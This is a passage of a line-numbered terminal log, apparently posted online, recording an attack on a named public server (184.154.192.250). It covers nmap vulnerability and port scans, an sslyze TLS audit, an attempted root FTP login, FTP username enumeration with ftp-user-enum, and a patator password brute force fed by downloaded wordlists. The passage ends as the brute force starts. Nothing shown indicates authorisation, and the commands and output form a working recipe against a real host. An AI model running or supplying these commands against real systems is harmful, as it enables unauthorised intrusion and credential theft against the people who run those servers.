  2370. | [1004115] OpenSSH Buffer Overflow in Kerberos Ticket and AFS Token Processing Lets Local Users Execute Arbitrary Code With Root Level Permissions
  2371. | [1003758] OpenSSH Off-by-one 'Channels' Bug May Let Authorized Remote Users Execute Arbitrary Code with Root Privileges
  2372. | [1002895] OpenSSH UseLogin Environment Variable Bug Lets Local Users Execute Commands and Gain Root Access
  2373. | [1002748] OpenSSH 3.0 Denial of Service Condition May Allow Remote Users to Crash the sshd Daemon and KerberosV Configuration Error May Allow Remote Users to Partially Authenticate When Authentication Should Not Be Permitted
  2374. | [1002734] OpenSSH's S/Key Implementation Information Disclosure Flaw Provides Remote Users With Information About Valid User Accounts
  2375. | [1002455] OpenSSH May Fail to Properly Restrict IP Addresses in Certain Configurations
  2376. | [1002432] OpenSSH's Sftp-server Subsystem Lets Authorized Remote Users with Restricted Keypairs Obtain Additional Access on the Server
  2377. | [1001683] OpenSSH Allows Authorized Users to Delete Other User Files Named Cookies
  2378. |
  2379. | OSVDB - http://www.osvdb.org:
  2380. | [92034] GSI-OpenSSH auth-pam.c Memory Management Authentication Bypass
  2381. | [90474] Red Hat / Fedora PAM Module for OpenSSH Incorrect error() Function Calling Local Privilege Escalation
  2382. | [90007] OpenSSH logingracetime / maxstartup Threshold Connection Saturation Remote DoS
  2383. | [81500] OpenSSH gss-serv.c ssh_gssapi_parse_ename Function Field Length Value Parsing Remote DoS
  2384. | [78706] OpenSSH auth-options.c sshd auth_parse_options Function authorized_keys Command Option Debug Message Information Disclosure
  2385. | [75753] OpenSSH PAM Module Aborted Conversation Local Information Disclosure
  2386. | [75249] OpenSSH sftp-glob.c remote_glob Function Glob Expression Parsing Remote DoS
  2387. | [75248] OpenSSH sftp.c process_put Function Glob Expression Parsing Remote DoS
  2388. | [72183] Portable OpenSSH ssh-keysign ssh-rand-helper Utility File Descriptor Leak Local Information Disclosure
  2389. | [70873] OpenSSH Legacy Certificates Stack Memory Disclosure
  2390. | [69658] OpenSSH J-PAKE Public Parameter Validation Shared Secret Authentication Bypass
  2391. | [67743] Novell NetWare OpenSSH SSHD.NLM Absolute Path Handling Remote Overflow
  2392. | [59353] OpenSSH sshd Local TCP Redirection Connection Masking Weakness
  2393. | [58495] OpenSSH sshd ChrootDirectory Feature SetUID Hard Link Local Privilege Escalation
  2394. | [56921] OpenSSH Unspecified Remote Compromise
  2395. | [53021] OpenSSH on ftp.openbsd.org Trojaned Distribution
  2396. | [50036] OpenSSH CBC Mode Chosen Ciphertext 32-bit Chunk Plaintext Context Disclosure
  2397. | [49386] OpenSSH sshd TCP Connection State Remote Account Enumeration
  2398. | [48791] OpenSSH on Debian sshd Crafted Username Arbitrary Remote SELinux Role Access
  2399. | [47635] OpenSSH Packages on Red Hat Enterprise Linux Compromised Distribution
  2400. | [47227] OpenSSH X11UseLocalhost X11 Forwarding Port Hijacking
  2401. | [45873] Cisco WebNS SSHield w/ OpenSSH Crafted Large Packet Remote DoS
  2402. | [43911] OpenSSH ~/.ssh/rc ForceCommand Bypass Arbitrary Command Execution
  2403. | [43745] OpenSSH X11 Forwarding Local Session Hijacking
  2404. | [43371] OpenSSH Trusted X11 Cookie Connection Policy Bypass
  2405. | [39214] OpenSSH linux_audit_record_event Crafted Username Audit Log Injection
  2406. | [37315] pam_usb OpenSSH Authentication Unspecified Issue
  2407. | [34850] OpenSSH on Mac OS X Key Generation Remote Connection DoS
  2408. | [34601] OPIE w/ OpenSSH Account Enumeration
  2409. | [34600] OpenSSH S/KEY Authentication Account Enumeration
  2410. | [32721] OpenSSH Username Password Complexity Account Enumeration
  2411. | [30232] OpenSSH Privilege Separation Monitor Weakness
  2412. | [29494] OpenSSH packet.c Invalid Protocol Sequence Remote DoS
  2413. | [29266] OpenSSH GSSAPI Authentication Abort Username Enumeration
  2414. | [29264] OpenSSH Signal Handler Pre-authentication Race Condition Code Execution
  2415. | [29152] OpenSSH Identical Block Packet DoS
  2416. | [27745] Apple Mac OS X OpenSSH Nonexistent Account Login Enumeration DoS
  2417. | [23797] OpenSSH with OpenPAM Connection Saturation Forked Process Saturation DoS
  2418. | [22692] OpenSSH scp Command Line Filename Processing Command Injection
  2419. | [20216] OpenSSH with KerberosV Remote Authentication Bypass
  2420. | [19142] OpenSSH Multiple X11 Channel Forwarding Leaks
  2421. | [19141] OpenSSH GSSAPIAuthentication Credential Escalation
  2422. | [18236] OpenSSH no pty Command Execution Local PAM Restriction Bypass
  2423. | [16567] OpenSSH Privilege Separation LoginGraceTime DoS
  2424. | [16039] Solaris 108994 Series Patch OpenSSH LDAP Client Authentication DoS
  2425. | [9562] OpenSSH Default Configuration Anon SSH Service Port Bounce Weakness
  2426. | [9550] OpenSSH scp Traversal Arbitrary File Overwrite
  2427. | [6601] OpenSSH *realloc() Unspecified Memory Errors
  2428. | [6245] OpenSSH SKEY/BSD_AUTH Challenge-Response Remote Overflow
  2429. | [6073] OpenSSH on FreeBSD libutil Arbitrary File Read
  2430. | [6072] OpenSSH PAM Conversation Function Stack Modification
  2431. | [6071] OpenSSH SSHv1 PAM Challenge-Response Authentication Privilege Escalation
  2432. | [5536] OpenSSH sftp-server Restricted Keypair Restriction Bypass
  2433. | [5408] OpenSSH echo simulation Information Disclosure
  2434. | [5113] OpenSSH NIS YP Netgroups Authentication Bypass
  2435. | [4536] OpenSSH Portable AIX linker Privilege Escalation
  2436. | [3938] OpenSSL and OpenSSH /dev/random Check Failure
  2437. | [3456] OpenSSH buffer_append_space() Heap Corruption
  2438. | [2557] OpenSSH Multiple Buffer Management Multiple Overflows
  2439. | [2140] OpenSSH w/ PAM Username Validity Timing Attack
  2440. | [2112] OpenSSH Reverse DNS Lookup Bypass
  2441. | [2109] OpenSSH sshd Root Login Timing Side-Channel Weakness
  2442. | [1853] OpenSSH Symbolic Link 'cookies' File Removal
  2443. | [839] OpenSSH PAMAuthenticationViaKbdInt Challenge-Response Remote Overflow
  2444. | [781] OpenSSH Kerberos TGT/AFS Token Passing Remote Overflow
  2445. | [730] OpenSSH Channel Code Off by One Remote Privilege Escalation
  2446. | [688] OpenSSH UseLogin Environment Variable Local Command Execution
  2447. | [642] OpenSSH Multiple Key Type ACL Bypass
  2448. | [504] OpenSSH SSHv2 Public Key Authentication Bypass
  2449. | [341] OpenSSH UseLogin Local Privilege Escalation
  2450. |_
  2451.  
  2452. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  2453. Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds
  2454.  
  2455.  
  2456. root@blackbox:/usr/share/nmap/scripts# nmap --script vuln -p80 184.154.192.250
  2457. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:32 CST
  2458. Pre-scan script results:
  2459. | broadcast-avahi-dos:
  2460. | Discovered hosts:
  2461. | 224.0.0.251
  2462. | After NULL UDP avahi packet DoS (CVE-2011-1002).
  2463. |_ Hosts are all up (not vulnerable).
  2464.  
  2465.  
  2466. root@blackbox:/usr/share/nmap/scripts# nmap --script vuln -p443 184.154.192.250
  2467. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:41 CST
  2468. Pre-scan script results:
  2469. | broadcast-avahi-dos:
  2470. | Discovered hosts:
  2471. | 224.0.0.251
  2472. | After NULL UDP avahi packet DoS (CVE-2011-1002).
  2473. |_ Hosts are all up (not vulnerable).
  2474.  
  2475.  
  2476.  
  2477.  
  2478. root@blackbox:/usr/share/nmap/scripts# nmap --script ssh-hassh.nse -p 22 184.154.192.250 --open
  2479. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:43 CST
  2480. Nmap scan report for server.etours.cn (184.154.192.250)
  2481. Host is up (0.037s latency).
  2482.  
  2483. PORT STATE SERVICE
  2484. 22/tcp open ssh
  2485.  
  2486. Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds
  2487.  
  2488.  
  2489. root@blackbox:~# git clone https://github.com/0x4D31/hassh-utils.git
  2490. root@blackbox:~# cd hassh-utils/
  2491.  
  2492. root@blackbox:/usr/share/nmap/scripts# nmap --script ssh-hassh.nse --script-args database=hasshd 184.154.192.250 22
  2493. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:46 CST
  2494. Nmap scan report for server.etours.cn (184.154.192.250)
  2495. Host is up (0.14s latency).
  2496. Not shown: 981 closed ports
  2497. PORT STATE SERVICE
  2498. 21/tcp open ftp
  2499. 22/tcp open ssh
  2500. 25/tcp open smtp
  2501. 53/tcp open domain
  2502. 80/tcp open http
  2503. 106/tcp open pop3pw
  2504. 110/tcp open pop3
  2505. 111/tcp open rpcbind
  2506. 143/tcp open imap
  2507. 161/tcp filtered snmp
  2508. 443/tcp open https
  2509. 465/tcp open smtps
  2510. 554/tcp open rtsp
  2511. 587/tcp open submission
  2512. 993/tcp open imaps
  2513. 995/tcp open pop3s
  2514. 3306/tcp open mysql
  2515. 7070/tcp open realserver
  2516. 8443/tcp open https-alt
  2517.  
  2518. Nmap done: 2 IP addresses (1 host up) scanned in 15.66 seconds
  2519.  
  2520.  
  2521.  
  2522. root@blackbox:/usr/share/nmap/scripts# nmap --script ssh-hassh.nse --script-args client_string=SSH-2.0-asdf -p 22 184.154.192.250
  2523. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:47 CST
  2524. Nmap scan report for server.etours.cn (184.154.192.250)
  2525. Host is up (0.038s latency).
  2526.  
  2527. PORT STATE SERVICE
  2528. 22/tcp open ssh
  2529.  
  2530. Nmap done: 1 IP address (1 host up) scanned in 1.54 seconds
  2531.  
  2532.  
  2533.  
  2534. root@blackbox:/usr/share/nmap/scripts# nmap -oN scan.nmap -v -sS -sU -T5 --top-ports 1000 184.154.192.250
  2535.  
  2536. Discovered open port 111/tcp on 184.154.192.250
  2537. Discovered open port 143/tcp on 184.154.192.250
  2538. Discovered open port 53/tcp on 184.154.192.250
  2539. Discovered open port 443/tcp on 184.154.192.250
  2540. Discovered open port 554/tcp on 184.154.192.250
  2541. Discovered open port 7070/tcp on 184.154.192.250
  2542. Discovered open port 21/tcp on 184.154.192.250
  2543. Discovered open port 22/tcp on 184.154.192.250
  2544. Discovered open port 587/tcp on 184.154.192.250
  2545. Discovered open port 80/tcp on 184.154.192.250
  2546. Discovered open port 110/tcp on 184.154.192.250
  2547. Discovered open port 25/tcp on 184.154.192.250
  2548. Discovered open port 993/tcp on 184.154.192.250
  2549. Discovered open port 3306/tcp on 184.154.192.250
  2550. Discovered open port 995/tcp on 184.154.192.250
  2551. Discovered open port 8443/tcp on 184.154.192.250
  2552. Discovered open port 106/tcp on 184.154.192.250
  2553. Discovered open port 465/tcp on 184.154.192.250
  2554. Discovered open port 111/udp on 184.154.192.250
  2555.  
  2556. Not shown: 1115 closed ports, 865 open|filtered ports
  2557. PORT STATE SERVICE
  2558. 21/tcp open ftp
  2559. 22/tcp open ssh
  2560. 25/tcp open smtp
  2561. 53/tcp open domain
  2562. 80/tcp open http
  2563. 106/tcp open pop3pw
  2564. 110/tcp open pop3
  2565. 111/tcp open rpcbind
  2566. 143/tcp open imap
  2567. 161/tcp filtered snmp
  2568. 443/tcp open https
  2569. 465/tcp open smtps
  2570. 554/tcp open rtsp
  2571. 587/tcp open submission
  2572. 993/tcp open imaps
  2573. 995/tcp open pop3s
  2574. 3306/tcp open mysql
  2575. 7070/tcp open realserver
  2576. 8443/tcp open https-alt
  2577. 111/udp open rpcbind
  2578.  
  2579.  
  2580. root@blackbox:/usr/share/nmap/scripts# nmap -oN vulners.nmap -sV --version-intensity 9 --script vulners -p 80 184.154.192.250
  2581. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:50 CST
  2582. Nmap scan report for server.etours.cn (184.154.192.250)
  2583. Host is up (0.037s latency).
  2584.  
  2585. PORT STATE SERVICE VERSION
  2586. 80/tcp open http Apache httpd (PleskLin)
  2587. |_http-server-header: Apache
  2588.  
  2589. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  2590. Nmap done: 1 IP address (1 host up) scanned in 11.10 seconds
  2591.  
  2592.  
  2593. root@blackbox:/usr/share/nmap/scripts# nmap -oN vulners.nmap -sV --version-intensity 9 --script vulners -p 22 184.154.192.250
  2594. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:51 CST
  2595. Nmap scan report for server.etours.cn (184.154.192.250)
  2596. Host is up (0.037s latency).
  2597.  
  2598. PORT STATE SERVICE VERSION
  2599. 22/tcp open tcpwrapped
  2600.  
  2601. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  2602. Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds
  2603.  
  2604.  
  2605. root@blackbox:/usr/share/nmap/scripts# nmap --script ssh-hassh.nse -p 22 --open -Pn 184.154.192.250 -oX test.xml -vv
  2606.  
  2607. root@blackbox:/usr/share/nmap/scripts# nmap --script ssh-hassh.nse -p 22 184.154.192.250
  2608. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:52 CST
  2609. Nmap scan report for server.etours.cn (184.154.192.250)
  2610. Host is up (0.037s latency).
  2611.  
  2612. PORT STATE SERVICE
  2613. 22/tcp open ssh
  2614.  
  2615. Nmap done: 1 IP address (1 host up) scanned in 1.56 seconds
  2616.  
  2617. EXPLAIN SHELL
  2618.  
  2619. https://explainshell.com/explain?cmd=nmap+-sC+-sV+-v++-oN
  2620.  
  2621.  
  2622. SSL SCAN USING SSLYZE
  2623.  
  2624. root@blackbox:/usr/share/nmap/scripts# sslyze --regular 184.154.192.250:443
  2625.  
  2626.  
  2627.  
  2628. AVAILABLE PLUGINS
  2629. -----------------
  2630.  
  2631. HttpHeadersPlugin
  2632. SessionRenegotiationPlugin
  2633. CertificateInfoPlugin
  2634. SessionResumptionPlugin
  2635. FallbackScsvPlugin
  2636. OpenSslCcsInjectionPlugin
  2637. CompressionPlugin
  2638. RobotPlugin
  2639. HeartbleedPlugin
  2640. OpenSslCipherSuitesPlugin
  2641.  
  2642.  
  2643.  
  2644. CHECKING HOST(S) AVAILABILITY
  2645. -----------------------------
  2646.  
  2647. 184.154.192.250:443 => 184.154.192.250
  2648.  
  2649.  
  2650.  
  2651.  
  2652. SCAN RESULTS FOR 184.154.192.250:443 - 184.154.192.250
  2653. ------------------------------------------------------
  2654.  
  2655. * TLSV1_3 Cipher Suites:
  2656. Server rejected all cipher suites.
  2657.  
  2658. * Downgrade Attacks:
  2659. TLS_FALLBACK_SCSV: VULNERABLE - Signaling cipher suite not supported
  2660.  
  2661. * Session Renegotiation:
  2662. Client-initiated Renegotiation: OK - Rejected
  2663. Secure Renegotiation: VULNERABLE - Secure renegotiation not supported
  2664.  
  2665. * OpenSSL CCS Injection:
  2666. OK - Not vulnerable to OpenSSL CCS injection
  2667.  
  2668. * Deflate Compression:
  2669. VULNERABLE - Server supports Deflate compression
  2670.  
  2671. * Resumption Support:
  2672. With Session IDs: OK - Supported (5 successful, 0 failed, 0 errors, 5 total attempts).
  2673. With TLS Tickets: OK - Supported
  2674.  
  2675. * TLSV1_1 Cipher Suites:
  2676. Server rejected all cipher suites.
  2677.  
  2678. * ROBOT Attack:
  2679. OK - Not vulnerable
  2680.  
  2681. * SSLV3 Cipher Suites:
  2682. Forward Secrecy OK - Supported
  2683. RC4 INSECURE - Supported
  2684.  
  2685. Preferred:
  2686. None - Server followed client cipher suite preference.
  2687. Accepted:
  2688. TLS_DHE_RSA_WITH_AES_256_CBC_SHA DH-1024 bits 256 bits HTTP 200 OK
  2689. TLS_RSA_WITH_AES_256_CBC_SHA - 256 bits HTTP 200 OK
  2690. TLS_DHE_RSA_WITH_AES_128_CBC_SHA DH-1024 bits 128 bits HTTP 200 OK
  2691. TLS_RSA_WITH_AES_128_CBC_SHA - 128 bits HTTP 200 OK
  2692. TLS_RSA_WITH_RC4_128_MD5 - 128 bits HTTP 200 OK
  2693. TLS_RSA_WITH_RC4_128_SHA - 128 bits HTTP 200 OK
  2694. TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA DH-1024 bits 112 bits HTTP 200 OK
  2695. TLS_RSA_WITH_3DES_EDE_CBC_SHA - 112 bits HTTP 200 OK
  2696. TLS_DHE_RSA_WITH_DES_CBC_SHA DH-1024 bits 56 bits HTTP 200 OK
  2697. TLS_RSA_WITH_DES_CBC_SHA - 56 bits HTTP 200 OK
  2698. TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA DH-512 bits 40 bits HTTP 200 OK
  2699. TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 - 40 bits HTTP 200 OK
  2700. TLS_RSA_EXPORT_WITH_DES40_CBC_SHA - 40 bits HTTP 200 OK
  2701. TLS_RSA_EXPORT_WITH_RC4_40_MD5 - 40 bits HTTP 200 OK
  2702.  
  2703. * SSLV2 Cipher Suites:
  2704. Forward Secrecy INSECURE - Not Supported
  2705. RC4 INSECURE - Supported
  2706.  
  2707. Preferred:
  2708. None - Server followed client cipher suite preference.
  2709. Accepted:
  2710. SSL_CK_RC2_128_CBC_WITH_MD5 - 128 bits HTTP 200 OK
  2711. SSL_CK_RC4_128_WITH_MD5 - 128 bits HTTP 200 OK
  2712. SSL_CK_DES_192_EDE3_CBC_WITH_MD5 - 112 bits HTTP 200 OK
  2713. SSL_CK_DES_64_CBC_WITH_MD5 - 56 bits HTTP 200 OK
  2714. SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5 - 40 bits HTTP 200 OK
  2715. SSL_CK_RC4_128_EXPORT40_WITH_MD5 - 40 bits HTTP 200 OK
  2716.  
  2717. * Certificate Information:
  2718. Content
  2719. SHA1 Fingerprint: 3f12da575e9a2e4cdc624a2c64f2b3d9e8fea274
  2720. Common Name: Parallels Panel
  2721. Issuer: Parallels Panel
  2722. Serial Number: 1315993919
  2723. Not Before: 2011-09-14 09:51:59
  2724. Not After: 2012-09-13 09:51:59
  2725. Signature Algorithm: sha1
  2726. Public Key Algorithm: RSA
  2727. Key Size: 2048
  2728. Exponent: 65537 (0x10001)
  2729. DNS Subject Alternative Names: []
  2730.  
  2731. Trust
  2732. Hostname Validation: FAILED - Certificate does NOT match 184.154.192.250
  2733. Android CA Store (8.1.0_r9): FAILED - Certificate is NOT Trusted: self signed certificate
  2734. iOS CA Store (11): FAILED - Certificate is NOT Trusted: self signed certificate
  2735. Java CA Store (jre-10.0.2): FAILED - Certificate is NOT Trusted: self signed certificate
  2736. macOS CA Store (High Sierra): FAILED - Certificate is NOT Trusted: self signed certificate
  2737. Mozilla CA Store (2018-04-12): FAILED - Certificate is NOT Trusted: self signed certificate
  2738. Windows CA Store (2018-06-30): FAILED - Certificate is NOT Trusted: self signed certificate
  2739. Symantec 2018 Deprecation: OK - Not a Symantec-issued certificate
  2740. Received Chain: Parallels Panel
  2741. Verified Chain: ERROR - Could not build verified chain (certificate untrusted?)
  2742. Received Chain Contains Anchor: ERROR - Could not build verified chain (certificate untrusted?)
  2743. Received Chain Order: OK - Order is valid
  2744. Verified Chain contains SHA1: ERROR - Could not build verified chain (certificate untrusted?)
  2745.  
  2746. Extensions
  2747. OCSP Must-Staple: NOT SUPPORTED - Extension not found
  2748. Certificate Transparency: NOT SUPPORTED - Extension not found
  2749.  
  2750. OCSP Stapling
  2751. NOT SUPPORTED - Server did not send back an OCSP response
  2752.  
  2753. * OpenSSL Heartbleed:
  2754. OK - Not vulnerable to Heartbleed
  2755.  
  2756. * TLSV1_2 Cipher Suites:
  2757. Server rejected all cipher suites.
  2758.  
  2759. * TLSV1 Cipher Suites:
  2760. Forward Secrecy OK - Supported
  2761. RC4 INSECURE - Supported
  2762.  
  2763. Preferred:
  2764. None - Server followed client cipher suite preference.
  2765. Accepted:
  2766. TLS_DHE_RSA_WITH_AES_256_CBC_SHA DH-1024 bits 256 bits HTTP 200 OK
  2767. TLS_RSA_WITH_AES_256_CBC_SHA - 256 bits HTTP 200 OK
  2768. TLS_DHE_RSA_WITH_AES_128_CBC_SHA DH-1024 bits 128 bits HTTP 200 OK
  2769. TLS_RSA_WITH_AES_128_CBC_SHA - 128 bits HTTP 200 OK
  2770. TLS_RSA_WITH_RC4_128_SHA - 128 bits HTTP 200 OK
  2771. TLS_RSA_WITH_RC4_128_MD5 - 128 bits HTTP 200 OK
  2772. TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA DH-1024 bits 112 bits HTTP 200 OK
  2773. TLS_RSA_WITH_3DES_EDE_CBC_SHA - 112 bits HTTP 200 OK
  2774. TLS_DHE_RSA_WITH_DES_CBC_SHA DH-1024 bits 56 bits HTTP 200 OK
  2775. TLS_RSA_WITH_DES_CBC_SHA - 56 bits HTTP 200 OK
  2776. TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA DH-512 bits 40 bits HTTP 200 OK
  2777. TLS_RSA_EXPORT_WITH_DES40_CBC_SHA - 40 bits HTTP 200 OK
  2778. TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 - 40 bits HTTP 200 OK
  2779. TLS_RSA_EXPORT_WITH_RC4_40_MD5 - 40 bits HTTP 200 OK
  2780.  
  2781.  
  2782. SCAN COMPLETED IN 18.49 S
  2783. -------------------------
  2784.  
  2785.  
  2786.  
  2787. CHECK ANONYMOUS FTP LOGIN FTP Client for File Traversal
  2788.  
  2789. root@blackbox:/usr/share/nmap/scripts# ftp 184.154.192.250
  2790. Connected to 184.154.192.250.
  2791. 220 ProFTPD 1.3.3e Server (ProFTPD) [184.154.192.250]
  2792. Name (184.154.192.250:root):
  2793. 331 Password required for root
  2794. Password:
  2795. 530 Login incorrect.
  2796. Login failed.
  2797. Remote system type is UNIX.
  2798. Using binary mode to transfer files.
  2799. ftp> quit
  2800. 221 Goodbye.
  2801.  
  2802.  
  2803. download password list from here:
  2804.  
  2805. https://github.com/berzerk0/Probable-Wordlists
  2806.  
  2807. root@blackbox:~# git clone https://github.com/jeanphorn/wordlist.git
  2808. root@blackbox:~# cd wordlist/
  2809. root@blackbox:~/wordlist# ls
  2810. adobe_top100_password.txt passlist.txt router_default_password.md
  2811. hydra.restore rdp_passlist.txt ssh_passwd.txt
  2812. pass_list.rar README.md usernames.txt
  2813.  
  2814. or search locally
  2815.  
  2816. user list
  2817. /usr/share/sniper/plugins/BruteX/wordlists/simple-users.txt
  2818.  
  2819. root@blackbox:/opt/patator# locate john.txt
  2820. /opt/commix/src/txt/passwords_john.txt
  2821. /opt/hacktronian/commix/src/txt/passwords_john.txt
  2822. /usr/share/commix/src/txt/passwords_john.txt
  2823.  
  2824.  
  2825. ftp-user-enum
  2826.  
  2827. root@blackbox:/opt# wget http://pentestmonkey.net/tools/ftp-user-enum/ftp-user-enum-1.0.tar.gz
  2828. root@blackbox:/opt# tar -xzf ftp-user-enum-1.0.tar.gz
  2829. root@blackbox:/opt# cd ftp-user-enum-1.0/
  2830. root@blackbox:/opt/ftp-user-enum-1.0# cp ftp-user-enum.pl /usr/local/bin/
  2831. root@blackbox:/opt/ftp-user-enum-1.0# perl -MCPAN -e shell
  2832. cpan[1]> install Getopt::Std
  2833. cpan[2]> exit
  2834. Lockfile removed.
  2835.  
  2836.  
  2837. root@blackbox:/opt/ftp-user-enum-1.0# ls
  2838. CHANGELOG COPYING COPYING.GPL ftp-user-enum.pl ftp-user-enum-user-docs.pdf
  2839. root@blackbox:/opt/ftp-user-enum-1.0# ftp-user-enum.pl -M sol -U /usr/share/sniper/plugins/BruteX/wordlists/simple-users.txt -t 184.154.192.250
  2840. Starting ftp-user-enum v1.0 ( http://pentestmonkey.net/tools/ftp-user-enum )
  2841.  
  2842. ----------------------------------------------------------
  2843. | Scan Information |
  2844. ----------------------------------------------------------
  2845.  
  2846. Mode ..................... sol
  2847. Worker Processes ......... 5
  2848. Usernames file ........... /usr/share/sniper/plugins/BruteX/wordlists/simple-users.txt
  2849. Target count ............. 1
  2850. Username count ........... 34
  2851. Target TCP port .......... 21
  2852. Query timeout ............ 15 secs
  2853.  
  2854. ######## Scan started at Wed Jan 22 14:56:54 2020 #########
  2855. @184.154.192.250: bee
  2856. @184.154.192.250: administrator
  2857. [email protected]: backup
  2858. @184.154.192.250: anonymous
  2859. @184.154.192.250: admin
  2860. @184.154.192.250: guest
  2861. @184.154.192.250: ftp
  2862. @184.154.192.250: GUEST
  2863. @184.154.192.250: info
  2864. @184.154.192.250: mail
  2865. @184.154.192.250: mysql
  2866. @184.154.192.250: msfadmin
  2867. @184.154.192.250: nobody
  2868. @184.154.192.250: mailadmin
  2869. [email protected]: oracle
  2870. @184.154.192.250: owaspbwa
  2871. @184.154.192.250: private
  2872. @184.154.192.250: postfix
  2873. @184.154.192.250: proftpd
  2874. @184.154.192.250: postgres
  2875. @184.154.192.250: root
  2876. @184.154.192.250: public
  2877. @184.154.192.250: support
  2878. @184.154.192.250: sys
  2879. @184.154.192.250: superadmin
  2880. @184.154.192.250: systemadmin
  2881. @184.154.192.250: system
  2882. @184.154.192.250: systemadministrator
  2883. @184.154.192.250: test
  2884. @184.154.192.250: tomcat
  2885. @184.154.192.250: webmaster
  2886. @184.154.192.250: user
  2887. [email protected]: www-data
  2888. [email protected]: Fortimanager_Access
  2889. ######## Scan completed at Wed Jan 22 14:58:39 2020 #########
  2890. 34 results.
  2891.  
  2892. 34 queries in 105 seconds (0.3 queries / sec)
  2893.  
  2894. root@blackbox:/opt/ftp-user-enum-1.0# ftp-user-enum.pl -M iu -U /usr/share/sniper/plugins/BruteX/wordlists/simple-users.txt -t 184.154.192.250
  2895. Starting ftp-user-enum v1.0 ( http://pentestmonkey.net/tools/ftp-user-enum )
  2896.  
  2897. ----------------------------------------------------------
  2898. | Scan Information |
  2899. ----------------------------------------------------------
  2900.  
  2901. Mode ..................... iu
  2902. Worker Processes ......... 5
  2903. Usernames file ........... /usr/share/sniper/plugins/BruteX/wordlists/simple-users.txt
  2904. Target count ............. 1
  2905. Username count ........... 34
  2906. Target TCP port .......... 21
  2907. Query timeout ............ 15 secs
  2908.  
  2909. ######## Scan started at Wed Jan 22 14:59:28 2020 #########
  2910. @184.154.192.250: administrator
  2911. @184.154.192.250: anonymous
  2912. [email protected]: backup
  2913. @184.154.192.250: admin
  2914. @184.154.192.250: bee
  2915. @184.154.192.250: ftp
  2916. @184.154.192.250: GUEST
  2917. @184.154.192.250: guest
  2918. @184.154.192.250: info
  2919. @184.154.192.250: mail
  2920. @184.154.192.250: mailadmin
  2921. @184.154.192.250: msfadmin
  2922. @184.154.192.250: mysql
  2923. @184.154.192.250: nobody
  2924. [email protected]: oracle
  2925. @184.154.192.250: owaspbwa
  2926. @184.154.192.250: postfix
  2927. @184.154.192.250: postgres
  2928. @184.154.192.250: private
  2929. @184.154.192.250: proftpd
  2930. @184.154.192.250: public
  2931. @184.154.192.250: root
  2932. @184.154.192.250: superadmin
  2933. @184.154.192.250: support
  2934. @184.154.192.250: sys
  2935. @184.154.192.250: system
  2936. @184.154.192.250: systemadmin
  2937. @184.154.192.250: test
  2938. @184.154.192.250: systemadministrator
  2939. @184.154.192.250: tomcat
  2940. @184.154.192.250: user
  2941. @184.154.192.250: webmaster
  2942. [email protected]: www-data
  2943. [email protected]: Fortimanager_Access
  2944. ######## Scan completed at Wed Jan 22 14:59:33 2020 #########
  2945. 34 results.
  2946.  
  2947. 34 queries in 5 seconds (6.8 queries / sec)
  2948.  
  2949.  
  2950. root@blackbox:/opt/ftp-user-enum-1.0# ftp-user-enum.pl -U /usr/share/sniper/plugins/BruteX/wordlists/simple-users.txt -t 184.154.192.250
  2951. Starting ftp-user-enum v1.0 ( http://pentestmonkey.net/tools/ftp-user-enum )
  2952.  
  2953. ----------------------------------------------------------
  2954. | Scan Information |
  2955. ----------------------------------------------------------
  2956.  
  2957. Mode ..................... sol
  2958. Worker Processes ......... 5
  2959. Usernames file ........... /usr/share/sniper/plugins/BruteX/wordlists/simple-users.txt
  2960. Target count ............. 1
  2961. Username count ........... 34
  2962. Target TCP port .......... 21
  2963. Query timeout ............ 15 secs
  2964.  
  2965. ######## Scan started at Wed Jan 22 15:00:21 2020 #########
  2966. @184.154.192.250: administrator
  2967. @184.154.192.250: anonymous
  2968. @184.154.192.250: admin
  2969. @184.154.192.250: bee
  2970. [email protected]: backup
  2971. @184.154.192.250: ftp
  2972. @184.154.192.250: guest
  2973. @184.154.192.250: GUEST
  2974. @184.154.192.250: info
  2975. @184.154.192.250: mail
  2976. @184.154.192.250: mailadmin
  2977. @184.154.192.250: msfadmin
  2978. [email protected]: oracle
  2979. @184.154.192.250: mysql
  2980. @184.154.192.250: nobody
  2981. @184.154.192.250: owaspbwa
  2982. @184.154.192.250: postfix
  2983. @184.154.192.250: postgres
  2984. @184.154.192.250: private
  2985. @184.154.192.250: proftpd
  2986. @184.154.192.250: public
  2987. @184.154.192.250: root
  2988. @184.154.192.250: superadmin
  2989. @184.154.192.250: support
  2990. @184.154.192.250: sys
  2991. @184.154.192.250: systemadmin
  2992. @184.154.192.250: systemadministrator
  2993. @184.154.192.250: test
  2994. @184.154.192.250: tomcat
  2995. @184.154.192.250: system
  2996. @184.154.192.250: user
  2997. @184.154.192.250: webmaster
  2998. [email protected]: www-data
  2999. [email protected]: Fortimanager_Access
  3000. ######## Scan completed at Wed Jan 22 15:02:06 2020 #########
  3001. 34 results.
  3002.  
  3003. 34 queries in 105 seconds (0.3 queries / sec)
  3004.  
  3005.  
  3006. root@blackbox:/opt# git clone https://github.com/lanjelot/patator
  3007. root@blackbox:/opt/patator# python patator.py ftp_login --help
  3008.  
  3009.  
  3010. root@blackbox:/opt/patator# patator ftp_login host=184.154.192.250 user=admin password=FILE0 0=/opt/commix/src/txt/passwords_john.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500
  3011.  
  3012. 15:03:18 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-01-22 15:03 CST
